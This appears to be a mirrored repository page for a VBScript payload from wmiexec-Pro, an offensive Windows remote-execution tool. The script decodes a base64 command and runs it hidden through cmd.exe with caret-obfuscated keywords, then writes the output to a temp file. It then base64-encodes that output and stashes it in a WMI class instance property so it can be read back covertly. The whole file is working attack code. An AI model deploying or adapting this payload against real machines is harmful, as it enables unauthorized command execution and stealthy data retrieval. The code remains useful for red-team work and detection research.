mirror of
https://github.com/XiaoliChan/wmiexec-Pro.git
synced 2026-10-18 22:50:54 +08:00
9378d074d8
Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com>
64 lines
2.2 KiB
Plaintext
64 lines
2.2 KiB
Plaintext
Dim command
|
|
Dim cwd
|
|
command = Base64StringDecode("REPLACE_WITH_COMMAND")
|
|
cwd = Base64StringDecode("REPLACE_WITH_CWD")
|
|
|
|
If FileExists("C:\Windows\Temp\REPLACE_WITH_FILENAME") Then
|
|
inputFile = "C:\Windows\Temp\REPLACE_WITH_FILENAME"
|
|
Set inStream = CreateObject("ADODB.Stream")
|
|
inStream.Open
|
|
inStream.type= 1 'TypeBinary
|
|
inStream.LoadFromFile(inputFile)
|
|
readBytes = inStream.Read()
|
|
|
|
Set oXML = CreateObject("Msxml2.DOMDocument")
|
|
Set oNode = oXML.CreateElement("base64")
|
|
oNode.dataType = "bin.base64"
|
|
oNode.nodeTypedValue = readBytes
|
|
Base64Encode = oNode.text
|
|
|
|
On Error Resume Next
|
|
Set objTestNewInst = GetObject("Winmgmts:root\Cimv2:REPLACE_WITH_CLASSNAME.CreationClassName=""RELEACE_WITH_UUID""")
|
|
If Err.Number <> 0 Then
|
|
Err.Clear
|
|
wbemCimtypeString = 8
|
|
Set objClass = GetObject("Winmgmts:root\cimv2:REPLACE_WITH_CLASSNAME")
|
|
Set objInstance = objClass.spawninstance_
|
|
objInstance.CreationClassName = "RELEACE_WITH_UUID"
|
|
objInstance.DebugOptions = Base64Encode
|
|
objInstance.put_
|
|
Else
|
|
End If
|
|
Else
|
|
Dim sh
|
|
Set sh = CreateObject("WScript.Shell")
|
|
sh.Run "cmd.exe /Q /c c^d /d " & cwd & " & e^c^h^o [COMMAND] > C:\Windows\Temp\REPLACE_WITH_FILENAME & " & command & " 1>> C:\Windows\Temp\REPLACE_WITH_FILENAME 2>&1 & e^c^h^o [PATH] >> C:\Windows\Temp\REPLACE_WITH_FILENAME & c^d >> C:\Windows\Temp\REPLACE_WITH_FILENAME", 0, True
|
|
End If
|
|
|
|
Function FileExists(FilePath)
|
|
Set fso = CreateObject("Scripting.FileSystemObject")
|
|
If fso.FileExists(FilePath) Then
|
|
FileExists=CBool(1)
|
|
Else
|
|
FileExists=CBool(0)
|
|
End If
|
|
End Function
|
|
|
|
Function Base64StringDecode(ByVal vCode)
|
|
Set oXML = CreateObject("Msxml2.DOMDocument")
|
|
Set oNode = oXML.CreateElement("base64")
|
|
oNode.dataType = "bin.base64"
|
|
oNode.text = vCode
|
|
Set BinaryStream = CreateObject("ADODB.Stream")
|
|
BinaryStream.Type = 1
|
|
BinaryStream.Open
|
|
BinaryStream.Write oNode.nodeTypedValue
|
|
BinaryStream.Position = 0
|
|
BinaryStream.Type = 2
|
|
' All Format => utf-16le - utf-8 - utf-16le
|
|
BinaryStream.CharSet = "utf-8"
|
|
Base64StringDecode = BinaryStream.ReadText
|
|
Set BinaryStream = Nothing
|
|
Set oNode = Nothing
|
|
End Function
|